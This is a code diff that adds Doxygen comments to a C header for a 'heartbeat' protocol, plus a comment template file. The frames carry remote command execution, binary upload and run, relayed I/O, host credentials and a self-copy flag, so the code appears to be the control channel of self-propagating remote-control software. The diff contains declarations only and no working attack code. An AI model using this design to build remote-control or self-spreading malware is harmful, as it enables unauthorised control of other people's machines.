bool detach; // The detach flag }; +/* + * The heartbeat framing protocol binary meta frame - extension of the command + * frame + */ struct prne_htbt_bin_meta { - size_t alloc_len; - prne_htbt_cmd_t cmd; + size_t alloc_len; // The advisory file preallocation byte length + prne_htbt_cmd_t cmd; // The command frame }; +// The heartbeat framing protocol hand-over frame struct prne_htbt_hover { + // The IPv4 end-point info struct { - uint8_t addr[4]; - uint16_t port; + uint8_t addr[4]; // The address in the network order + uint16_t port; // The port number in the host endian } v4; + // The IPv6 end-point info struct { - uint8_t addr[16]; - uint16_t port; + uint8_t addr[16]; // The address in the network order + uint16_t port; // The port number in the host endian } v6; }; +// The heartbeat framing protocol STDIO frame struct prne_htbt_stdio { - size_t len; - bool err; - bool fin; + size_t len; // The byte length of the data + bool err; // The standard error stream flag + bool fin; // The final data flag }; +// The heartbeat protocol binary RCB frame struct prne_htbt_rcb { - prne_os_t os; - prne_arch_t arch; - bool compat; - bool self; + prne_os_t os; // The OS code + prne_arch_t arch; // The CPU architecture code + bool compat; // The allow-compatible-arch flag + bool self; // The perform-self-copy flag }; +/* + * The standard function pointer type of the heartbeat framing protocol frame + * initialisation functions. + */ typedef void(*prne_htbt_init_ft)(void *ptr); +/* + * The standard function pointer type of the heartbeat framing protocol frame + * deinitialisation functions. + */ typedef void(*prne_htbt_free_ft)(void *ptr); +/* + * The standard function pointer type of the heartbeat framing protocol frame + * equality operator functions. + */ typedef bool(*prne_htbt_eq_ft)(const void *a, const void *b); +/* + * The standard function pointer type of the heartbeat framing protocol frame + * serialisation functions. + */ typedef prne_htbt_ser_rc_t(*prne_htbt_ser_ft)( uint8_t *mem, const size_t mem_len, size_t *actual, const void *in); +/* + * The standard function pointer type of the heartbeat framing protocol frame + * deserialisation functions. + */ typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)( const uint8_t *data, const size_t len, size_t *actual, void *out); +// The heartbeat framing protocol TLS ALP string #define PRNE_HTBT_TLS_ALP "prne-htbt" +// The heartbeat framing protocol minimum valid message id #define PRNE_HTBT_MSG_ID_MIN 1 +// The heartbeat framing protocol message id min-max delta #define PRNE_HTBT_MSG_ID_DELTA (INT16_MAX - 1) +// The heartbeat framing protocol message id reserved for notification #define PRNE_HTBT_MSG_ID_NOTIFY INT16_MAX +// The heartbeat framing protocol standard TCP/IP port #define PRNE_HTBT_PROTO_PORT 64420 -// _POSIX_ARG_MAX equiv +/* + * The heartbeat framing protocol maximum number of arguments in the command + * frame. The _POSIX_ARG_MAX equivalent. + */ #define PRNE_HTBT_ARGS_MAX 255 +/* + * The heartbeat framing protocol maximum byte length of the linear memory of + * the command frame + */ #define PRNE_HTBT_ARG_MEM_MAX 1023 +// The heartbeat framing protocol maximum byte length of STDIO data per frame #define PRNE_HTBT_STDIO_LEN_MAX 0x0FFF +/* The heartbeat framing protocol maximum possible value for the advisory file + * preallocation byte length. This value actually means "the length of the file + * is more than 16,777,215 bytes". + */ #define PRNE_HTBT_BIN_ALLOC_LEN_MAX 0xFFFFFF -/* PRNE_HTBT_PROTO_MIN_BUF -* -* Minimum size of buffer required to implement parsing of stream. This is the -* size required to deserialise PRNE_HTBT_OP_UP_BIN and PRNE_HTBT_OP_RUN_BIN. -*/ +/* + * The bare minimum byte size of buffer required to parse the heartbeat framing + * protocol stream. Currently set to the size of buffer required to parse + * PRNE_HTBT_OP_RUN_BIN. + */ #define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 5 + PRNE_HTBT_ARG_MEM_MAX) -/* PRNE_HTBT_PROTO_SUB_MIN_BUF -* -* Required write buffer size for submissive end. Set to that of -* PRNE_HTBT_OP_HOST_INFO. -*/ +/* + * The bare minimum byte size of buffer required for a submissive host to send + * the heartbeat framing protocol frame. Currently set to the size of buffer + * required to send PRNE_HTBT_OP_HOST_INFO. + */ #define PRNE_HTBT_PROTO_SUB_MIN_BUF ((size_t)3 + 104 + 255 + 255) +/** + * \brief Convert the enum value to a string, which can be converted back to the + * original enum value. + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p x is out of bounds and \c errno set to \c EINVAL + */ const char *prne_os_tostr (const prne_os_t x); +/** + * \brief Convert the string to the enum value. + * \return The enum value. + * \retval \c PRNE_OS_NONE if the string does not match any of the enums and + * \c errno set to \c EINVAL + * \note The function accepts NULL. + */ prne_os_t prne_os_fstr (const char *str); +/** + * \brief Test if the enum value is in range + * \retval true if the enum value is in range + * \return false otherwise + */ bool prne_os_inrange (const prne_os_t x); +/** + * \brief Convert the enum value to a string, which can be converted back to the + * original enum value. + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p x is out of bounds and \c errno set to \c EINVAL + */ const char *prne_arch_tostr (const prne_arch_t x); +/** + * \brief Convert the string to the enum value. + * \return The enum value. + * \retval \c PRNE_ARCH_NONE if the string does not match any of the enums and + * \c errno set to \c EINVAL + * \note The function accepts NULL. + */ prne_arch_t prne_arch_fstr (const char *str); +/** + * \brief Test if the enum value is in range + * \retval true if the enum value is in range + * \return false otherwise + */ bool prne_arch_inrange (const prne_arch_t x); +/** + * \brief Convert the enum value to a string, which can be converted back to the + * original enum value. + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p x is out of bounds and \c errno set to \c EINVAL + */ const char *prne_iflag_tostr (const prne_iflag_t x); +/** + * \brief Convert the string to the enum value. + * \return The enum value. + * \retval \c PRNE_IFLAG_NONE if the string does not match any of the enums and + * \c errno set to \c EINVAL + * \note The function accepts NULL. + */ prne_iflag_t prne_iflag_fstr (const char *str); +/** + * \brief Test if the enum value is in range + * \retval true if the enum value is in range + * \return false otherwise + */ bool prne_iflag_inrange (const prne_iflag_t x); +/** + * \brief The equality operator of + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_eq_ipaddr (const prne_ip_addr_t *a, const prne_ip_addr_t *b); +/** + * \brief Convert the IP endpoint object to \c sockaddr_in + */ void prne_net_ep_tosin4 ( const prne_net_endpoint_t *ep, struct sockaddr_in *out); +/** + * \brief Convert the IP endpoint object to \c sockaddr_in6 + */ void prne_net_ep_tosin6 ( const prne_net_endpoint_t *ep, struct sockaddr_in6 *out); +/** + * \brief (unused) + */ bool prne_net_ep_set_ipv4 ( const char *str, const uint16_t port, prne_net_endpoint_t *out); +/** + * \brief (unused) + */ bool prne_net_ep_set_ipv6 ( const char *str, const uint16_t port, prne_net_endpoint_t *out); +/** + * \brief Convert the enum value to a string + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p x is out of bounds and \c errno set to \c EINVAL + */ const char *prne_htbt_op_tostr (const prne_htbt_op_t x); +/** + * \brief Initialise the heartbeat framing protocol message header frame + * \note Initialises the members of \p mh to initial values. Prepares \p mh so + * that it can be freed using \c prne_htbt_free_msg_head() + */ void prne_htbt_init_msg_head (prne_htbt_msg_head_t *mh); +/** + * \brief Free the resources allocated for the heartbeat framing protocol + * message header frame + * \param mh The pointer to the object that has been initialised using + * \c prne_htbt_init_msg_head() + */ void prne_htbt_free_msg_head (prne_htbt_msg_head_t *mh); +/** + * \brief The equality operator of the heartbeat framing protocol message header + * frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_msg_head ( const prne_htbt_msg_head_t *a, const prne_htbt_msg_head_t *b); +/** + * \brief Initialise the heartbeat framing protocol status frame + * \note Initialises the members of \p s to initial values. Prepares \p s so + * that it can be freed using \c prne_htbt_free_status() + */ void prne_htbt_init_status (prne_htbt_status_t *s); +/** + * \brief Free the resources allocated for the heartbeat framing protocol status + * frame + * \param s The pointer to the object that has been initialised using + * \c prne_htbt_init_status() + */ void prne_htbt_free_status (prne_htbt_status_t *s); +/** + * \brief The equality operator of the heartbeat framing protocol status frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_status ( const prne_htbt_status_t *a, const prne_htbt_status_t *b); +/** + * \brief Initialise the host credential object + * \note Initialises the members of \p hc to initial values. Prepares \p hc so + * that it can be freed using \c prne_free_host_cred() + */ void prne_init_host_cred (prne_host_cred_t *hc); +/** + * \brief Allocate dynamic memory for the members to hold credential data + * \param hc The pointer to the host credential object + * \param id_len The length of the username string + * \param pw_len The length of the password string + * \return true if allocation was successful + * \return false if allocation failed and \c errno is set to \c ENOMEM + * \note The object is modified only when allocation is successful. In case of + * failure, you may continue to use the object without reinitialisation. The + * dynamically allocated members are freed prior to being assigned with new + * memory. + */ bool prne_alloc_host_cred ( prne_host_cred_t *hc, const uint8_t id_len, const uint8_t pw_len); +/** + * \brief Free the resources allocated for the host credential object + * \param hc The pointer to the object that has been initialised using + * \c prne_init_host_cred() + */ void prne_free_host_cred (prne_host_cred_t *hc); +/** + * \brief The equality operator of the host credential object + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_eq_host_cred (const prne_host_cred_t *a, const prne_host_cred_t *b); +/** + * \brief Serialise the host credential object + * \param[out] data The output buffer + * \param len The available byte length of the buffer + * \param[out] actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_FMT_ERR if more than 255 bytes are required for the + * result binary data. + * \retval PRNE_HTBT_SER_RC_MORE_BUF if larger buffer is required. + * \retval PRNE_HTBT_SER_RC_OK if successful. + * \note Note that the byte length of binary data is limited to 255 because the + * format is designed for the heartbeat framing protocol hostinfo frame. + */ prne_htbt_ser_rc_t prne_enc_host_cred ( uint8_t *data, const size_t len, size_t *actual, const prne_host_cred_t *in); +/** + * \brief Deserialise the host credential object from the binary data + * \param data The binary data + * \param len The byte length of the binary data available for reading + * \param out The pointer to the object + * \retval PRNE_HTBT_SER_RC_FMT_ERR on parsing error. + * \retval PRNE_HTBT_SER_RC_ERRNO on \c ENOMEM + * \retval PRNE_HTBT_SER_RC_OK if successful + * \warning The parsed strings must be treated as binary data until proven + * otherwise using \c isprint() equiavalent for your need. The code page and + * character encoding are outside of the scope of the protocol. + */ prne_htbt_ser_rc_t prne_dec_host_cred ( const uint8_t *data, const size_t len, prne_host_cred_t *out); +/** + * \brief Initialise the heartbeat framing protocol hostinfo frame + * \note Initialises the members of \p hi to initial values. Prepares \p hi so + * that it can be freed using \c prne_htbt_free_host_info() + */ void prne_htbt_init_host_info (prne_htbt_host_info_t *hi); +/** + * \brief Allocate variable-length members of the heartbeat framing protocol + * hostinfo frame + * \param hi The pointer to the object + * \param cred_len The byte length required for the host credential data + * \param bf_len The byte length required for the bit field data + * \return true if allocation was successful + * \return false on failure and \c errno set to \c ENOMEM + */ bool prne_htbt_alloc_host_info ( prne_htbt_host_info_t *hi, const size_t cred_len, const size_t bf_len); +/** + * \brief Free the resources allocated for the heartbeat framing protocol + * hostinfo frame + * \param hi The pointer to the object that has been initialised using + * \c prne_htbt_init_host_info() + */ void prne_htbt_free_host_info (prne_htbt_host_info_t *hi); +/** + * \brief The equality operator of the heartbeat framing protocol hostinfo frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_host_info ( const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b); +/** + * \brief Initialise the heartbeat framing protocol command frame + * \note Initialises the members of \p cmd to initial values. Prepares \p cmd so + * that it can be freed using \c prne_htbt_free_cmd() + */ void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd); +/** + * \brief Allocate variable-length members of the heartbeat framing protocol + * command frame + * \param cmd The pointer to the object + * \param argc The number of elements in the argument vector + * \param args_len The pointer to the array containing lengths of string for + * each argument + * \return true if allocation was successful + * \return false on failure and \c errno set to \c ENOMEM + */ bool prne_htbt_alloc_cmd ( prne_htbt_cmd_t *cmd, const size_t argc, const size_t *args_len); bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, const char **args); +/** + * \brief Free the resources allocated for the heartbeat framing protocol + * command frame + * \param cmd The pointer to the object that has been initialised using + * \c prne_htbt_init_cmd() + */ void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd); +/** + * \brief The equality operator of the heartbeat framing protocol command frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b); +/** + * \brief Initialise the heartbeat framing protocol binary meta frame + * \note Initialises the members of \p nb to initial values. Prepares \p nb so + * that it can be freed using \c prne_htbt_free_bin_meta() + */ void prne_htbt_init_bin_meta (prne_htbt_bin_meta_t *nb); +/** + * \brief Free the resources allocated for the the heartbeat framing protocol + * binary meta frame + * \param nb The pointer to the object that has been initialised using + * \c prne_htbt_init_bin_meta() + */ void prne_htbt_free_bin_meta (prne_htbt_bin_meta_t *nb); +/** + * \brief The equality operator of the heartbeat framing protocol binary meta + * frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_bin_meta ( const prne_htbt_bin_meta_t *a, const prne_htbt_bin_meta_t *b); +/** + * \brief Initialise the heartbeat framing protocol hand-over frame + * \note Initialises the members of \p ho to initial values. Prepares \p ho so + * that it can be freed using \c prne_htbt_free_hover() + */ void prne_htbt_init_hover (prne_htbt_hover_t *ho); +/** + * \brief Free the resources allocated for the heartbeat framing protocol + * hand-over frame + * \param ho The pointer to the object that has been initialised using + * \c prne_htbt_init_hover() + */ void prne_htbt_free_hover (prne_htbt_hover_t *ho); +/** + * \brief The equality operator of the heartbeat framing protocol hand-over + * frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_hover ( const prne_htbt_hover_t *a, const prne_htbt_hover_t *b); +/** + * \brief The deep copy operator of the heartbeat framing protocol hand-over + * frame + * \retval true if the contents of \p src have been successfully copied into + * \p dst + * \retval false otherwise and \c errno set + */ bool prne_htbt_cp_hover ( - const prne_htbt_hover_t *a, - prne_htbt_hover_t *b); + const prne_htbt_hover_t *src, + prne_htbt_hover_t *dst); +/** + * \brief Initialise the heartbeat framing protocol STDIO frame + * \note Initialises the members of \p s to initial values. Prepares \p s so + * that it can be freed using \c prne_htbt_free_stdio() + */ void prne_htbt_init_stdio (prne_htbt_stdio_t *s); +/** + * \brief Free the resources allocated for the heartbeat framing protocol STDIO + * frame + * \param s The pointer to the object that has been initialised using + * \c prne_htbt_init_stdio() + */ void prne_htbt_free_stdio (prne_htbt_stdio_t *s); +/** + * \brief The equality operator of the heartbeat framing protocol STDIO frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_stdio ( const prne_htbt_stdio_t *a, const prne_htbt_stdio_t *b); +/** + * \brief Initialise the heartbeat protocol binary RCB frame + * \note Initialises the members of \p r to initial values. Prepares \p r so + * that it can be freed using \c prne_htbt_free_rcb() + */ void prne_htbt_init_rcb (prne_htbt_rcb_t *r); +/** + * \brief Free the resources allocated for the heartbeat protocol binary RCB + * frame + * \param r The pointer to the object that has been initialised using + * \c prne_htbt_init_rcb() + */ void prne_htbt_free_rcb (prne_htbt_rcb_t *r); +/** + * \brief The equality operator of the heartbeat protocol binary RCB frame + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ bool prne_htbt_eq_rcb (const prne_htbt_rcb_t *a, const prne_htbt_rcb_t *b); +/** + * \brief The serialisation function for the heartbeat framing protocol message + * header frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_msg_head ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in); +/** + * \brief The serialisation function for the heartbeat framing protocol status + * frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_status ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in); +/** + * \brief The serialisation function for the heartbeat framing protocol hostinfo + * frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_host_info ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in); +/** + * \brief The serialisation function for the heartbeat framing protocol + * hand-over frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_hover ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_hover_t *in); +/** + * \brief The serialisation function for the heartbeat framing protocol command + * frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_cmd ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in); +/** + * \brief The serialisation function for the heartbeat framing protocol binary + * meta frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_bin_meta ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_meta_t *in); +/** + * \brief The serialisation function for the heartbeat framing protocol STDIO + * frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_stdio ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_stdio_t *in); +/** + * \brief The serialisation function for the heartbeat protocol binary RCB frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_rcb ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_rcb_t *in); +/** + * \brief The deserialisation function for the heartbeat framing protocol + * message header frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_msg_head ( const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out); +/** + * \brief The deserialisation function for the heartbeat framing protocol status + * frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_status ( uint8_t *data, const size_t len, size_t *actual, prne_htbt_status_t *out); +/** + * \brief The deserialisation function for the heartbeat framing protocol + * hostinfo frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_host_info ( const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out); +/** + * \brief The deserialisation function for the heartbeat framing protocol + * hand-over frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_hover ( const uint8_t *data, const size_t len, size_t *actual, prne_htbt_hover_t *out); +/** + * \brief The deserialisation function for the heartbeat framing protocol + * command frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_cmd ( const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out); +/** + * \brief The deserialisation function for the heartbeat framing protocol binary + * meta frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_bin_meta ( const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_meta_t *out); +/** + * \brief The deserialisation function for the heartbeat framing protocol STDIO + * frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_stdio ( const uint8_t *data, const size_t len, size_t *actual, prne_htbt_stdio_t *out); +/** + * \brief The deserialisation function for the heartbeat protocol binary RCB + * frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_rcb ( const uint8_t *data, const size_t len, size_t *actual, prne_htbt_rcb_t *out); +/** + * \brief Index the series of strings to create an argument vector + * \param m_args The pointer to the series of strings + * \param args_size The byte length of the buffer + * \param add_argc The additional argument vector to prepend to the output + * argument vector + * \param add_args The number of elements in the additional argument vector + * \param[out] argc The number of elements in the output argument vector + * (optional) + * \param max_args The maximum number of elements allowed in the output argument + * vector. Use \c SIZE_MAX to disable this. + * \return The fabricated NULL element terminated argument vector, which can be + * passed directly to \c exec() Memory freeable with \c prne_free() + * \retval NULL and \c errno set to \c EINVAL - a null-terminator is not found + * at the end of \p m_args + * \retval NULL and \c errno set to \c E2BIG - the limit set with \p max_args + * reached. + * \retval NULL and \c errno set to \c ENOMEM - memory allocation for the ouput + * argument vector failed + * \note The function is used to prepare the argument vector for \c exec() call. + * The protocol is only responsible for the parametres and determining the file + * name of the executable is up to the implementation. The function is for + * parsing the linear argument vector from the heartbeat framing protocol + * command frame and prepending the path of the executable. + * \see \c exec() + */ char **prne_htbt_parse_args ( char *m_args, const size_t args_size, @@ -558,6 +1033,20 @@ char **prne_htbt_parse_args ( size_t *argc, const size_t max_args); +/** + * \brief Generate an integer for a new heartbeat framing protocol session + * \param ctx The context object + * \param rnd_f The PRNG callback function + * \return A randomly generated unsigned 16-bit integer for a new session + * \note This function is a convenience function for clamping the randomly + * generated number into the range used by the protocol - + * [ \c PRNE_HTBT_MSG_ID_MIN , \c PRNE_HTBT_MSG_ID_DELTA ) + */ uint16_t prne_htbt_gen_msgid (void *ctx, uint16_t(*rnd_f)(void*)); +/** + * \brief Convert the enum value to a string + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p x is out of bounds and \c errno set to \c EINVAL + */ const char *prne_htbt_serrc_tostr (const prne_htbt_ser_rc_t x); diff --git a/templates/doxygen b/templates/doxygen new file mode 100644 index 0000000..7129842 --- /dev/null +++ b/templates/doxygen @@ -0,0 +1,64 @@ +/** + * \brief Convert the enum value to a string + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p x is out of bounds and \c errno set to \c EINVAL + */ +/** + * \brief Convert the enum value to a string, which can be converted back to the + * original enum value. + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p x is out of bounds and \c errno set to \c EINVAL + */ + +/** + * \brief Initialise the + * \note Initialises the members of \p x to initial values. Prepares \p x so + * that it can be freed using \c ff() + */ +/** + * \brief Free the resources allocated for the + * \param x The pointer to the object that has been initialised using + * \c if() + */ + +/** + * \brief The equality operator of the + * \retval true if the contents of both \p a and \p b are identical + * \retval false otherwise + */ +/** + * \brief The deep copy operator of the + * \retval true if the contents of \p src have been successfully copied into + * \p dst + * \retval false otherwise and \c errno set + */ +/** + * \brief Allocate variable-length members of the + * \param x The pointer to the object + * \param x The byte length required for the + * \return true if allocation was successful + * \return false on failure and \c errno set to \c ENOMEM + */ + +/** + * \brief The serialisation function for the + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ +/** + * \brief The deserialisation function for the + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ |